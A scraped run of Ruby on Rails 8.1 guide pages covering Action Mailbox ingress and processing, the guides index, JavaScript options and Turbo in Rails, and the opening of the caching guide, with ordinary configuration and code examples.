### [3.7. SendGrid](#sendgrid)

Tell Action Mailbox to accept emails from SendGrid:

```
# config/environments/production.rb
config.action_mailbox.ingress = :sendgrid
```

Generate a strong password that Action Mailbox can use to authenticate requests to the SendGrid ingress.

Use `bin/rails credentials:edit` to add the password to your application's encrypted credentials under `action_mailbox.ingress_password`, where Action Mailbox will automatically find it:

```
action_mailbox:
  ingress_password: ...
```

Alternatively, provide the password in the `RAILS_INBOUND_EMAIL_PASSWORD` environment variable.

[Configure SendGrid Inbound Parse](https://sendgrid.com/docs/for-developers/parsing-email/setting-up-the-inbound-parse-webhook/) to forward inbound emails to `/rails/action_mailbox/sendgrid/inbound_emails` with the username `actionmailbox` and the password you previously generated. If your application lived at `https://example.com`, you would configure SendGrid with the following URL:

```
https://actionmailbox:PASSWORD@example.com/rails/action_mailbox/sendgrid/inbound_emails
```

When configuring your SendGrid Inbound Parse webhook, be sure to check the box labeled **“Post the raw, full MIME message.”** Action Mailbox needs the raw MIME message to work.

## [4. Processing Incoming Email](#processing-incoming-email)

Processing incoming emails usually entails using the email content to create models, update views, queue background work, etc. in your Rails application.

Before you can start processing incoming emails, you'll need to setup Action Mailbox routing and create mailboxes.

### [4.1. Configure Routing](#configure-routing)

After an incoming email is received via the configured ingress, it needs to be forwarded to a mailbox for actual processing by your application. Much like the [Rails router](routing.html) that dispatches URLs to controllers, routing in Action Mailbox defines which emails go to which mailboxes for processing. Routes are added to the `application_mailbox.rb` file using regular expressions:

```
# app/mailboxes/application_mailbox.rb
class ApplicationMailbox < ActionMailbox::Base
  routing(/^save@/i     => :forwards)
  routing(/@replies\./i => :replies)
end
```

The regular expression matches the incoming email's `to`, `cc`, or `bcc` fields. For example, the above will match any email sent to `save@` to a "forwards" mailbox. There are other ways to route an email, see [`ActionMailbox::Base`](https://api.rubyonrails.org/v8.1.4/classes/ActionMailbox/Base.html) for more.

We need to create that "forwards" mailbox next.

### [4.2. Create a Mailbox](#create-a-mailbox)

```
# Generate new mailbox
$ bin/rails generate mailbox forwards
```

This creates `app/mailboxes/forwards_mailbox.rb`, with a `ForwardsMailbox` class and a `process` method.

### [4.3. Process Email](#process-email)

When processing an `InboundEmail`, you can get the parsed version of the email as a [`Mail`](https://github.com/mikel/mail) object with `InboundEmail#mail`. You can also get the raw source directly using the `#source` method. With the `Mail` object, you can access the relevant fields, such as `mail.to`, `mail.body.decoded`, etc.

```
irb> mail
=> #<Mail::Message:33780, Multipart: false, Headers: <Date: Wed, 31 Jan 2024 22:18:40 -0600>, <From: someone@hey.com>, <To: save@example.com>, <Message-ID: <65bb1ba066830_50303a70397e@Bhumis-MacBook-Pro.local.mail>>, <In-Reply-To: >, <Subject: Hello Action Mailbox>, <Mime-Version: 1.0>, <Content-Type: text/plain; charset=UTF-8>, <Content-Transfer-Encoding: 7bit>, <x-original-to: >>
irb> mail.to
=> ["save@example.com"]
irb> mail.from
=> ["someone@hey.com"]
irb> mail.date
=> Wed, 31 Jan 2024 22:18:40 -0600
irb> mail.subject
=> "Hello Action Mailbox"
irb> mail.body.decoded
=> "This is the body of the email message."
# mail.decoded, a shorthand for mail.body.decoded, also works
irb> mail.decoded
=> "This is the body of the email message."
irb> mail.body
=> <Mail::Body:0x00007fc74cbf46c0 @boundary=nil, @preamble=nil, @epilogue=nil, @charset="US-ASCII", @part_sort_order=["text/plain", "text/enriched", "text/html", "multipart/alternative"], @parts=[], @raw_source="This is the body of the email message.", @ascii_only=true, @encoding="7bit">
```

### [4.4. Inbound Email Status](#inbound-email-status)

While the email is being routed to a matching mailbox and processed, Action Mailbox updates the email status stored in `action_mailbox_inbound_emails` table with one of the following values:

* `pending`: Received by one of the ingress controllers and scheduled for routing.
* `processing`: During active processing, while a specific mailbox is running its `process` method.
* `delivered`: Successfully processed by the specific mailbox.
* `failed`: An exception was raised during the specific mailbox’s execution of the `process` method.
* `bounced`: Rejected processing by the specific mailbox and bounced to sender.

If the email is marked either `delivered`, `failed`, or `bounced` it's considered "processed" and marked for [incineration](#incineration-of-inboundemails).

## [5. Example](#example)

Here is an example of an Action Mailbox that processes emails to create "forwards" for the user's project.

The `before_processing` callback is used to ensure that certain conditions are met before `process` method is called. In this case, `before_processing` checks that the user has at least one project. Other supported [Action Mailbox callbacks](https://api.rubyonrails.org/v8.1.4/classes/ActionMailbox/Callbacks.html) are `after_processing` and `around_processing`.

The email can be bounced using `bounced_with` if the "forwarder" has no projects. The "forwarder" is a `User` with the same email as `mail.from`.

If the "forwarder" does have at least one project, the `record_forward` method creates an Active Record model in the application using the email data `mail.subject` and `mail.decoded`. Otherwise, it sends an email, using Action Mailer, requesting the "forwarder" to choose a project.

```
# app/mailboxes/forwards_mailbox.rb
class ForwardsMailbox < ApplicationMailbox
  # Callbacks specify prerequisites to processing
  before_processing :require_projects

  def process
    # Record the forward on the one project, or…
    if forwarder.projects.one?
      record_forward
    else
      # …involve a second Action Mailer to ask which project to forward into.
      request_forwarding_project
    end
  end

  private
    def require_projects
      if forwarder.projects.none?
        # Use Action Mailers to bounce incoming emails back to sender – this halts processing
        bounce_with Forwards::BounceMailer.no_projects(inbound_email, forwarder: forwarder)
      end
    end

    def record_forward
      forwarder.forwards.create subject: mail.subject, content: mail.decoded
    end

    def request_forwarding_project
      Forwards::RoutingMailer.choose_project(inbound_email, forwarder: forwarder).deliver_now
    end

    def forwarder
      @forwarder ||= User.find_by(email_address: mail.from)
    end
end
```

## [6. Local Development and Testing](#local-development-and-testing)

It's helpful to be able to test incoming emails in development without actually sending and receiving real emails. To accomplish this, there's a conductor controller mounted at `/rails/conductor/action_mailbox/inbound_emails`, which gives you an index of all the InboundEmails in the system, their state of processing, and a form to create a new InboundEmail as well.

Here is and example of testing an inbound email with Action Mailbox TestHelpers.

```
class ForwardsMailboxTest < ActionMailbox::TestCase
  test "directly recording a client forward for a forwarder and forwardee corresponding to one project" do
    assert_difference -> { people(:david).buckets.first.recordings.count } do
      receive_inbound_email_from_mail \
        to: "save@example.com",
        from: people(:david).email_address,
        subject: "Fwd: Status update?",
        body: <<~BODY
          --- Begin forwarded message ---
          From: Frank Holland <frank@microsoft.com>

          What's the status?
        BODY
    end

    recording = people(:david).buckets.first.recordings.last
    assert_equal people(:david), recording.creator
    assert_equal "Status update?", recording.forward.subject
    assert_match "What's the status?", recording.forward.content.to_s
  end
end
```

Please refer to the [ActionMailbox::TestHelper API](https://api.rubyonrails.org/v8.1.4/classes/ActionMailbox/TestHelper.html) for further test helper methods.

## [7. Incineration of InboundEmails](#incineration-of-inboundemails)

By default, an `InboundEmail` that has been processed will be incinerated after 30 days. The `InboundEmail` is considered as processed when its status changes to `delivered`, `failed`, or `bounced`.

The actual incineration is done via the [`IncinerationJob`](https://api.rubyonrails.org/v8.1.4/classes/ActionMailbox/IncinerationJob.html) that's scheduled to run after [`config.action_mailbox.incinerate_after`](configuring.html#config-action-mailbox-incinerate-after) time. This value is set to `30.days` by default, but you can change it in your production.rb configuration. (Note that this far-future incineration scheduling relies on your job queue being able to hold jobs for that long.)

Default data incineration ensures that you're not holding on to people's data unnecessarily after they may have canceled their accounts or deleted their content.

The intention with Action Mailbox processing is that as you process an email, you should extract all the data you need from the email and persist it into domain models in your application. The `InboundEmail` stays in the system for the configured time to allow for debugging and forensics and then will be deleted.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/
----

***

## Start Here

* [Getting Started with Rails](getting_started.html)

  Everything you need to know to install Rails and create your first application.

* [Install Ruby on Rails](install_ruby_on_rails.html)

  Learn how to install the Ruby programming language and Ruby on Rails.

## Models

* [Active Record Basics](active_record_basics.html)

  Active Record allows your models to interact with the application's database. This guide will get you started with Active Record models and persistence to the database.

* [Active Record Migrations](active_record_migrations.html)

  Migrations are a feature of Active Record that allows you to evolve your database schema over time. Rather than write schema modifications in pure SQL, migrations allow you to use a Ruby DSL to describe changes to your tables.

* [Active Record Validations](active_record_validations.html)

  Validations are used to ensure that only valid data is saved into your database. This guide teaches you how to validate the state of objects before they go into the database, using Active Record's validations feature.

* [Active Record Callbacks](active_record_callbacks.html)

  Callbacks make it possible to write code that will run whenever an object is created, updated, destroyed, etc. This guide teaches you how to hook into this object life cycle of Active Record objects.

* [Active Record Associations](association_basics.html)

  In Active Record, an association is a connection between two Active Record models. This guide covers all the associations provided by Active Record.

* [Active Record Query Interface](active_record_querying.html)

  Instead of using raw SQL to find database records, Active Record provides better ways to carry out the same operations. This guide covers different ways to retrieve data from the database using Active Record.

* [Active Model Basics](active_model_basics.html)

  Active Model allows you to create plain Ruby objects that integrate with Action Pack, but don't need Active Record for database persistence. Active Model also helps build custom ORMs for use outside of the Rails framework. This guide provides you with all you need to get started using Active Model classes.

## Views

* [Action View Overview](action_view_overview.html)

  Action View is responsible for generating the HTML for web responses. This guide provides an introduction to Action View.

* [Layouts and Rendering in Rails](layouts_and_rendering.html)

  This guide covers the basic layout features of Action Controller and Action View, including rendering and redirecting, using content\_for blocks, and working with partials.

* [Action View Helpers](action_view_helpers.html)

  Action View has helpers for handling everything from formatting dates and linking to images, to sanitizing and localizing content. This guide introduces a few of the more common Action View helpers.

* [Action View Form Helpers](form_helpers.html)

  HTML forms can quickly become tedious to write and maintain because of the need to handle form control naming and its numerous attributes. Rails does away with this complexity by providing view helpers for generating form markup.

## Controllers

* [Action Controller Overview](action_controller_overview.html)

  Action Controllers are the core of a web request in Rails. This guide covers how controllers work and how they fit into the request cycle of your application. Topics include accessing parameters in controller actions, using sessions and cookies, controller callbacks.

* [Action Controller Advanced Topics](action_controller_advanced_topics.html)

  This guide covers a number of advanced topics related to controllers in a Rails application such as protecting against cross-site request forgery, HTTP authentication, data streaming, and dealing with exceptions, log filtering, and more.

* [Rails Routing from the Outside In](routing.html)

  The Rails router recognizes URLs and dispatches them to a controller's action. This guide covers the user-facing features of Rails routing. If you want to understand how to use routing in your own Rails applications, start here.

## Other Components

* [Active Support Core Extensions](active_support_core_extensions.html)

  Active Support provides Ruby language extensions and utilities. It enriches the Ruby language for the development of Rails applications, and for the development of Ruby on Rails itself.

* [Action Mailer Basics](action_mailer_basics.html)

  This guide provides you with all you need to get started in sending emails from your application, and many internals of Action Mailer.

* [Action Mailbox Basics](action_mailbox_basics.html)

  This guide describes how to use Action Mailbox to receive emails.

* [Action Text Overview](action_text_overview.html)

  This guide describes how to use Action Text to handle rich text content.

* [Active Job Basics](active_job_basics.html)

  Active Job is a framework for declaring background jobs and making them run on a variety of queuing backends. This guide provides you with all you need to get started creating, enqueuing, and executing background jobs.

* [Active Storage Overview](active_storage_overview.html)

  Active Storage facilitates uploading files to a cloud storage service, transforming uploads and extracting metadata. This guide covers how to attach files to your Active Record models.

* [Action Cable Overview](action_cable_overview.html)

  Action Cable integrates WebSockets with the rest of your Rails application. It allows for real-time features to be written in Ruby in the same style and form as the rest of your Rails application. This guide explains how Action Cable works, and how to use WebSockets to create real-time features.

## Digging Deeper

* [Testing Rails Applications](testing.html)

  This guide explores how to write tests in Rails. It also covers test configuration and compares approaches to testing an application.

* [Debugging Rails Applications](debugging_rails_applications.html)

  This guide describes how to debug Rails applications. It covers the different ways of achieving this and how to understand what is happening "behind the scenes" of your code.

* [Configuring Rails Applications](configuring.html)

  This guide covers the basic configuration settings for a Rails application.

* [The Rails Command Line](command_line.html)

  There are a few commands that are absolutely critical to your everyday usage of Rails. This guide covers the command line tools provided by Rails.

* [The Asset Pipeline](asset_pipeline.html)

  The asset pipeline guide explains how to use Propshaft, a framework that handles essential asset management tasks.

* [Working with JavaScript in Rails](working_with_javascript_in_rails.html)

  This guide explains how to use import maps or jsbundling-rails to include JavaScript in Rails applications, and covers the basics of working with Turbo in Rails.

* [Internationalization (I18n)](i18n.html)

  This guide covers how to add internationalization to your applications. Your application will be able to translate content to different languages, change pluralization rules, use correct date formats for each country, and so on.

* [The Rails Initialization Process](initialization.html)

  * Work in progress

  * This guide explains the internals of the initialization process in Rails. It is an extremely in-depth guide and recommended for advanced Rails developers.

* [Autoloading and Reloading](autoloading_and_reloading_constants.html)

  This guide documents how autoloading and reloading constants work.

* [Active Support Instrumentation](active_support_instrumentation.html)

  * Work in progress

  * This guide explains how to use the instrumentation API inside of Active Support to measure events inside of Rails and other Ruby code.

* [Using Rails for API-only Applications](api_app.html)

  This guide explains how to effectively use Rails to develop a JSON API application.

## Going to Production

* [Tuning Performance for Deployment](tuning_performance_for_deployment.html)

  This guide covers performance and concurrency configuration for deploying your production Ruby on Rails application.

* [Caching with Rails](caching_with_rails.html)

  This guide is an introduction to speeding up your Rails application with caching.

* [Securing Rails Applications](security.html)

  This guide describes common security problems in web applications and how to avoid them with Rails.

* [Error Reporting in Rails Applications](error_reporting.html)

  This guide introduces ways to manage errors that occur in Ruby on Rails applications.

## Advanced Active Record

* [Active Record and PostgreSQL](active_record_postgresql.html)

  * Work in progress

  * This guide covers PostgreSQL specific usage of Active Record.

* [Multiple Databases](active_record_multiple_databases.html)

  This guide covers using multiple databases in your application.

* [Active Record Encryption](active_record_encryption.html)

  This guide covers encrypting your database information using Active Record.

* [Composite Primary Keys](active_record_composite_primary_keys.html)

  This guide is an introduction to composite primary keys for database tables.

## Extending Rails

* [The Basics of Creating Rails Plugins](plugins.html)

  This guide covers how to build a plugin to extend the functionality of Rails.

* [Rails on Rack](rails_on_rack.html)

  This guide covers Rails integration with Rack and interfacing with other Rack components.

* [Creating and Customizing Rails Generators & Templates](generators.html)

  This guide covers the process of adding a brand new generator to your extension or providing an alternative to an element of a built-in Rails generator (such as providing alternative test stubs for the scaffold generator).

* [Getting Started with Engines](engines.html)

  * Work in progress

  * Engines can be considered miniature applications that provide additional functionality to their host applications. In this guide you will learn how to create your own engine and integrate it with a host application.

* [Threading and Code Execution in Rails](threading_and_code_execution.html)

  * Work in progress

  * This guide describes the considerations needed and tools available when working directly with concurrency in a Rails application.

## Contributing

* [Contributing to Ruby on Rails](contributing_to_ruby_on_rails.html)

  Rails is not "someone else's framework". This guide covers a variety of ways that you can get involved in the ongoing development of Rails.

* [API Documentation Guidelines](api_documentation_guidelines.html)

  This guide documents the Ruby on Rails API documentation guidelines.

* [Guides Guidelines](ruby_on_rails_guides_guidelines.html)

  This guide documents the Ruby on Rails guides guidelines.

* [Installing Rails Core Development Dependencies](development_dependencies_install.html)

  This guide covers how to set up an environment for Ruby on Rails core development.

## Policies

* [Maintenance Policy](maintenance_policy.html)

  What versions of Ruby on Rails are currently supported, and when to expect new versions.

## Release Notes

* [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html)

  This guide provides steps to be followed when you upgrade your applications to a newer version of Ruby on Rails.

* [Version 8.1 - October 2025](8_1_release_notes.html)

  Release notes for Rails 8.1.

* [Version 8.0 - November 2024](8_0_release_notes.html)

  Release notes for Rails 8.0.

* [Version 7.2 - August 2024](7_2_release_notes.html)

  Release notes for Rails 7.2.

* [Version 7.1 - October 2023](7_1_release_notes.html)

  Release notes for Rails 7.1.

* [Version 7.0 - December 2021](7_0_release_notes.html)

  Release notes for Rails 7.0.

* [Version 6.1 - December 2020](6_1_release_notes.html)

  Release notes for Rails 6.1.

* [Version 6.0 - August 2019](6_0_release_notes.html)

  Release notes for Rails 6.0.

* [Version 5.2 - April 2018](5_2_release_notes.html)

  Release notes for Rails 5.2.

* [Version 5.1 - April 2017](5_1_release_notes.html)

  Release notes for Rails 5.1.

* [Version 5.0 - June 2016](5_0_release_notes.html)

  Release notes for Rails 5.0.

* [Version 4.2 - December 2014](4_2_release_notes.html)

  Release notes for Rails 4.2.

* [Version 4.1 - April 2014](4_1_release_notes.html)

  Release notes for Rails 4.1.

* [Version 4.0 - June 2013](4_0_release_notes.html)

  Release notes for Rails 4.0.

* [Version 3.2 - January 2012](3_2_release_notes.html)

  Release notes for Rails 3.2.

* [Version 3.1 - August 2011](3_1_release_notes.html)

  Release notes for Rails 3.1.

* [Version 3.0 - August 2010](3_0_release_notes.html)

  Release notes for Rails 3.0.

* [Version 2.3 - March 2009](2_3_release_notes.html)

  Release notes for Rails 2.3.

* [Version 2.2 - November 2008](2_2_release_notes.html)

  Release notes for Rails 2.2.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/working_with_javascript_in_rails.html
----

***

## [1. Import Maps](#import-maps)

[Import maps](https://github.com/rails/importmap-rails) let you import JavaScript modules using logical names that map to versioned files directly from the browser. Import maps are the default from Rails 7, allowing anyone to build modern JavaScript applications using most npm packages without the need for transpiling or bundling.

Applications using import maps do not need [Node.js](https://nodejs.org/en/) or [Yarn](https://yarnpkg.com/) to function. If you plan to use Rails with `importmap-rails` to manage your JavaScript dependencies, there is no need to install Node.js or Yarn.

When using import maps, no separate build process is required, just start your server with `bin/rails server` and you are good to go.

### [1.1. Installing importmap-rails](#installing-importmap-rails)

Importmap for Rails is automatically included in Rails 7+ for new applications, but you can also install it manually in existing applications:

```
$ bundle add importmap-rails
```

Run the install task:

```
$ bin/rails importmap:install
```

### [1.2. Adding npm Packages with importmap-rails](#adding-npm-packages-with-importmap-rails)

To add new packages to your import map-powered application, run the `bin/importmap pin` command from your terminal:

```
$ bin/importmap pin react react-dom
```

Then, import the package into `application.js` as usual:

```
import React from "react"
import ReactDOM from "react-dom"
```

## [2. Adding npm Packages with JavaScript Bundlers](#adding-npm-packages-with-javascript-bundlers)

Import maps are the default for new Rails applications, but if you prefer traditional JavaScript bundling, you can create new Rails applications with your choice of [Bun](https://bun.sh), [esbuild](https://esbuild.github.io/), [Webpack](https://webpack.js.org/), or [Rollup.js](https://rollupjs.org/guide/en/).

To use a bundler instead of import maps in a new Rails application, pass the `--javascript` or `-j` option to `rails new`:

```
$ rails new my_new_app --javascript=bun
OR
$ rails new my_new_app -j bun
```

These bundling options each come with a simple configuration and integration with the asset pipeline via the [jsbundling-rails](https://github.com/rails/jsbundling-rails) gem.

When using a bundling option, use `bin/dev` to start the Rails server and build JavaScript for development.

### [2.1. Installing a JavaScript Runtime](#installing-a-javascript-runtime)

If you are using esbuild, Rollup.js, or Webpack to bundle your JavaScript in your Rails application, Node.js and Yarn must be installed. If you are using Bun, then you just need to install Bun as it is both a JavaScript runtime and a bundler.

#### [2.1.1. Installing Bun](#installing-bun)

Find the installation instructions at the [Bun website](https://bun.sh) and verify it’s installed correctly and in your path with the following command:

```
$ bun --version
```

The version of your Bun runtime should be printed out. If it says something like `1.0.0`, Bun has been installed correctly.

If not, you may need to reinstall Bun in the current directory or restart your terminal.

#### [2.1.2. Installing Node.js and Yarn](#installing-node-js-and-yarn)

If you are using esbuild, Rollup.js, or Webpack you will need Node.js and Yarn.

Find the installation instructions at the [Node.js website](https://nodejs.org/en/download/) and verify it’s installed correctly with the following command:

```
$ node --version
```

The version of your Node.js runtime should be printed out. Make sure it’s greater than `8.16.0`.

To install Yarn, follow the installation instructions at the [Yarn website](https://classic.yarnpkg.com/en/docs/install). Running this command should print out the Yarn version:

```
$ yarn --version
```

If it says something like `1.22.0`, Yarn has been installed correctly.

## [3. Choosing Between Import Maps and a JavaScript Bundler](#choosing-between-import-maps-and-a-javascript-bundler)

When you create a new Rails application, you will need to choose between import maps and a JavaScript bundling solution. Every application has different requirements, and you should consider your requirements carefully before choosing a JavaScript option, as migrating from one option to another may be time-consuming for large, complex applications.

Import maps are the default option because the Rails team believes in import maps' potential for reducing complexity, improving developer experience, and delivering performance gains.

For many applications, especially those that rely primarily on the [Hotwire](https://hotwired.dev/) stack for their JavaScript needs, import maps will be the right option for the long term. You can read more about the reasoning behind making import maps the default in Rails 7 [here](https://world.hey.com/dhh/rails-7-will-have-three-great-answers-to-javascript-in-2021-8d68191b).

Other applications may still need a traditional JavaScript bundler. Requirements that indicate that you should choose a traditional bundler include:

* If your code requires a transpilation step, such as JSX or TypeScript.
* If you need to use JavaScript libraries that include CSS or otherwise rely on [Webpack loaders](https://webpack.js.org/loaders/).
* If you are absolutely sure that you need [tree-shaking](https://webpack.js.org/guides/tree-shaking/).
* If you will install Bootstrap, Bulma, PostCSS, or Dart CSS through the [cssbundling-rails gem](https://github.com/rails/cssbundling-rails). All options provided by this gem except Tailwind and Sass will automatically install `esbuild` for you if you do not specify a different option in `rails new`.

## [4. Turbo](#turbo)

Whether you choose import maps or a traditional bundler, Rails ships with [Turbo](https://turbo.hotwired.dev/) to speed up your application while dramatically reducing the amount of JavaScript that you will need to write.

Turbo lets your server deliver HTML directly as an alternative to the prevailing front-end frameworks that reduce the server-side of your Rails application to little more than a JSON API.

### [4.1. Turbo Drive](#turbo-drive)

[Turbo Drive](https://turbo.hotwired.dev/handbook/drive) speeds up page loads by avoiding full-page teardowns and rebuilds on every navigation request. Turbo Drive is an improvement on and replacement for Turbolinks.

### [4.2. Turbo Frames](#turbo-frames)

[Turbo Frames](https://turbo.hotwired.dev/handbook/frames) allow predefined parts of a page to be updated on request, without impacting the rest of the page’s content.

You can use Turbo Frames to build in-place editing without any custom JavaScript, lazy load content, and create server-rendered, tabbed interfaces with ease.

Rails provides HTML helpers to simplify the use of Turbo Frames through the [turbo-rails](https://github.com/hotwired/turbo-rails) gem.

Using this gem, you can add a Turbo Frame to your application with the `turbo_frame_tag` helper like this:

```
<%= turbo_frame_tag dom_id(post) do %>
  <div>
     <%= link_to post.title, post_path(post) %>
  </div>
<% end %>
```

### [4.3. Turbo Streams](#turbo-streams)

[Turbo Streams](https://turbo.hotwired.dev/handbook/streams) deliver page changes as fragments of HTML wrapped in self-executing `<turbo-stream>` elements. Turbo Streams allow you to broadcast changes made by other users over WebSockets and update pieces of a page after a form submission without requiring a full page load.

Rails provides HTML and server-side helpers to simplify the use of Turbo Streams through the [turbo-rails](https://github.com/hotwired/turbo-rails) gem.

Using this gem, you can render Turbo Streams from a controller action:

```
def create
  @post = Post.new(post_params)

  respond_to do |format|
    if @post.save
      format.turbo_stream
    else
      format.html { render :new, status: :unprocessable_entity }
    end
  end
end
```

Rails will automatically look for a `.turbo_stream.erb` view file and render that view when found.

Turbo Stream responses can also be rendered inline in the controller action:

```
def create
  @post = Post.new(post_params)

  respond_to do |format|
    if @post.save
      format.turbo_stream { render turbo_stream: turbo_stream.prepend("posts", partial: "post") }
    else
      format.html { render :new, status: :unprocessable_entity }
    end
  end
end
```

Finally, Turbo Streams can be initiated from a model or a background job using built-in helpers. These broadcasts can be used to update content via a WebSocket connection to all users, keeping page content fresh and bringing your application to life.

To broadcast a Turbo Stream from a model, combine a model callback like this:

```
class Post < ApplicationRecord
  after_create_commit { broadcast_append_to("posts") }
end
```

With a WebSocket connection set up on the page that should receive the updates like this:

```
<%= turbo_stream_from "posts" %>
```

## [5. Replacements for Rails/UJS Functionality](#replacements-for-rails-ujs-functionality)

Rails 6 shipped with a tool called UJS (Unobtrusive JavaScript). UJS allows developers to override the HTTP request method of `<a>` tags, to add confirmation dialogs before executing an action, and more. UJS was the default before Rails 7, but it is now recommended to use Turbo instead.

### [5.1. Method](#method)

Clicking links always results in an HTTP GET request. If your application is [RESTful](https://en.wikipedia.org/wiki/Representational_State_Transfer), some links are in fact actions that change data on the server, and should be performed with non-GET requests. The `data-turbo-method` attribute allows marking up such links with an explicit method such as "post", "put", or "delete".

Turbo will scan `<a>` tags in your application for the `turbo-method` data attribute and use the specified method when present, overriding the default GET action.

For example:

```
<%= link_to "Delete post", post_path(post), data: { turbo_method: "delete" } %>
```

This generates:

```
<a data-turbo-method="delete" href="...">Delete post</a>
```

An alternative to changing the method of a link with `data-turbo-method` is to use Rails `button_to` helper. For accessibility reasons, actual buttons and forms are preferable for any non-GET action.

### [5.2. Confirmations](#confirmations)

You can ask for an extra confirmation from the user by adding a `data-turbo-confirm` attribute on links and forms. On link click or form submit, the user will be presented with a JavaScript `confirm()` dialog containing the attribute's text. If the user chooses to cancel, the action doesn't take place.

For example, with the `link_to` helper:

```
<%= link_to "Delete post", post_path(post), data: { turbo_method: "delete", turbo_confirm: "Are you sure?" } %>
```

Which generates:

```
<a href="..." data-turbo-confirm="Are you sure?" data-turbo-method="delete">Delete post</a>
```

When the user clicks on the "Delete post" link, they will be presented with an "Are you sure?" confirmation dialog.

The attribute can also be used with the `button_to` helper, however it must be added to the form that the `button_to` helper renders internally:

```
<%= button_to "Delete post", post, method: :delete, form: { data: { turbo_confirm: "Are you sure?" } } %>
```

### [5.3. Ajax Requests](#ajax-requests)

When making non-GET requests from JavaScript, the `X-CSRF-Token` header is required. Without this header, requests won't be accepted by Rails.

This token is required by Rails to prevent Cross-Site Request Forgery (CSRF) attacks. Read more in the [security guide](security.html#cross-site-request-forgery-csrf).

[Rails Request.JS](https://github.com/rails/request.js) encapsulates the logic of adding the request headers that are required by Rails. Just import the `FetchRequest` class from the package and instantiate it passing the request method, url, options, then call `await request.perform()` and do what you need with the response.

For example:

```
import { FetchRequest } from '@rails/request.js'

....

async myMethod () {
  const request = new FetchRequest('post', 'localhost:3000/posts', {
    body: JSON.stringify({ name: 'Request.JS' })
  })
  const response = await request.perform()
  if (response.ok) {
    const body = await response.text
  }
}
```

When using another library to make Ajax calls, it is necessary to add the security token as a default header yourself. To get the token, have a look at `<meta name='csrf-token' content='THE-TOKEN'>` tag printed by [`csrf_meta_tags`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/CsrfHelper.html#method-i-csrf_meta_tags) in your application view. You could do something like:

```
document.head.querySelector("meta[name=csrf-token]")?.content
```

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/caching_with_rails.html
----

***

## [1. What is Caching?](#what-is-caching-questionmark)

Caching means storing content generated during the request-response cycle and reusing it when responding to similar requests. It avoids doing an expensive operation more than once - think of it like saving the result of something expensive so you can look it up later instead of recomputing it.

Caching is one of the most effective ways to boost an application's performance. It allows websites running on modest infrastructure, a single server with a single database, to sustain thousands of concurrent users.

Rails provides a set of caching features out of the box which allows you to not only cache data, but also to tackle challenges like cache expiration, cache dependencies, and cache invalidation.

## [2. Setup](#setup)

By default, [Action Controller Caching](https://api.rubyonrails.org/v8.1.4/classes/ActionController/Caching.html) is enabled only in the production environment. However, you can play around with caching locally by running `bin/rails dev:cache`, or by setting [`config.action_controller.perform_caching`](configuring.html#config-action-controller-perform-caching) to `true` in `config/environments/development.rb`.

```
$ bin/rails dev:cache
Development mode is now being cached.
$ bin/rails dev:cache
Development mode is no longer being cached.
```

Changing the value of `config.action_controller.perform_caching` only affects caching provided by Action Controller. It will not impact [low-level caching](#low-level-caching-using-rails-cache).

By default, new Rails applications use [`:memory_store`](#activesupport-cache-memorystore) as the cache store in development. If you want to use Solid Cache in development, set the `cache_store` configuration in `config/environments/development.rb`:

```
config.cache_store = :solid_cache_store
```

and make sure the `cache` database is configured, created, and migrated:

```
development:
  primary:
    <<: *default
    database: storage/development.sqlite3
  cache:
    <<: *default
    database: storage/development_cache.sqlite3
    migrations_paths: db/cache_migrate
```

After configuring the database, run `bin/rails db:prepare` so the cache tables are created.

To disable caching set `cache_store` to [`:null_store`](#activesupport-cache-nullstore)

## [3. Types of Caching](#types-of-caching)

Rails provides several different caching strategies to suit different needs and use cases. Each approach has its own benefits and is useful in different scenarios.

### [3.1. Low-Level Caching using `Rails.cache`](#low-level-caching-using-rails-cache)

Rails' low-level caching mechanism, accessed with `Rails.cache`, stores serializable values such as API responses, computed values, and expensive query results. This lets you cache individual pieces of data without caching an entire view.

`Rails.cache.fetch` handles both *reading from* and *writing to* the cache. When called with a single argument, it fetches and returns the cached value for the given key. If a block is passed, the block is executed only on a cache miss. The block's return value is written to the cache under the given cache key and returned. In case of cache hit, the cached value is returned directly without executing the block.

For example:

```
# Fetch a value with a block to set a default if it doesn’t exist
welcome_message = Rails.cache.fetch("welcome_message") { "Welcome to Rails!" }
puts welcome_message # Output: Welcome to Rails!
```

A cache hit means Rails found an existing value in the cache and could reuse it. A cache miss means the value was not in the cache yet, so Rails had to generate it and store it. Cache misses are normal, especially when an entry expires, the cache is cleared, or a key is used for the first time.

For more advanced use cases, `Rails.cache.fetch` also accepts options such as `race_condition_ttl`, which can help prevent a cache stampede by briefly reusing a recently expired entry while one process rebuilds it. The full set of options is documented in [`ActiveSupport::Cache::Store`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Cache/Store.html).

Alternatively, you can specify whether you want to read or write from the cache using `Rails.cache.read` and `Rails.cache.write`. You can delete a key using `Rails.cache.delete`.

```
# Store a value in the cache
Rails.cache.write("greeting", "Hello, world!")

# Retrieve the value from the cache
greeting = Rails.cache.read("greeting")
puts greeting # Output: Hello, world!

# Fetch a value with a block to set a default if it doesn’t exist
welcome_message = Rails.cache.fetch("welcome_message") { "Welcome to Rails!" }
puts welcome_message # Output: Welcome to Rails!

# Delete a value from the cache
Rails.cache.delete("greeting")
```

If you need to remove everything from the current cache store, you can call `Rails.cache.clear`. This is most useful in development or when you explicitly want to reset the cache. In production, clearing the entire cache can cause a sudden increase in work while entries are rebuilt.

You can use Hashes and Arrays of values as cache keys.

```
# This is a valid cache key
Rails.cache.read(site: "mysite", owners: [owner_1, owner_2])
```

Cache keys can be any object that responds to `cache_key` or `to_param`. If you need custom keys, you can implement `cache_key` on your own classes. Active Record models already generate cache keys based on the model name and record ID.

Consider the following example. An application has a `Product` model with an instance method that looks up the product's price on a competitor's website. The data returned by this method would be a good fit for low-level caching:

```
class Product < ApplicationRecord
  def competing_price
    Rails.cache.fetch("#{cache_key_with_version}/competing_price", expires_in: 12.hours) do
      Competitor::API.find_price(id)
    end
  end
end
```

Notice that in the example above we used the `cache_key_with_version` method, so the resulting cache key will be something like `products/233-20140225082222765838000/competing_price`. `cache_key_with_version` generates a string based on the model's class name, `id`, and `updated_at` attributes, in the form `<model class name>/<resource id>-<resource updated_at>`. This is a common convention and has the benefit of invalidating the cache whenever the product is updated.

